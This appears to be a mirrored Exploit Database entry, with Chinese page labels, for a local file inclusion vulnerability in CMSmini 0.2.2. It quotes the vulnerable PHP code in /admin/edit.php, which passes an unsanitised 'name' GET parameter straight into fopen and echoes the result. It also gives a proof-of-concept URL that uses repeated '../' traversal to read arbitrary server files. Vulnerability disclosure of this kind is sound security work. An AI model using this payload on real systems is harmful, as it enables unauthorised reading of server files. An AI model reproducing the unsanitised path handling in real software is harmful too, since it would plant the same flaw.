CMS mini 0.2.2 – Local File Inclusion

• Exploit Database
• 119 阅读

• 作者： BeopSeong/I2Sec
  日期： 2011-10-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18001/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22

  # Exploit Title: [CMSmini 0.2.2 Local File Inclusion] # Date: [2011.10.20] # Author: [I2Sec5-BSK] # Software Link: [http://sourceforge.net/projects/cmsmini/] # Version: [CMSmini 0.2.2] # Tested on: [Windows XP]   --------------------------------------------------   /admin/edit.php   30 $name = $_GET['name']; 73 $filename = $dirpath.'/'.$name; 74 $fh = fopen($filename, 'r'); 75 $data = fread($fh, filesize($filename)); 76 fclose($fh); 77 echo $data;   ---------------------------------------------------   POC : http://[ Address ]/admin/edit.php?name=../../../../../../../../../../../../[ Local File ]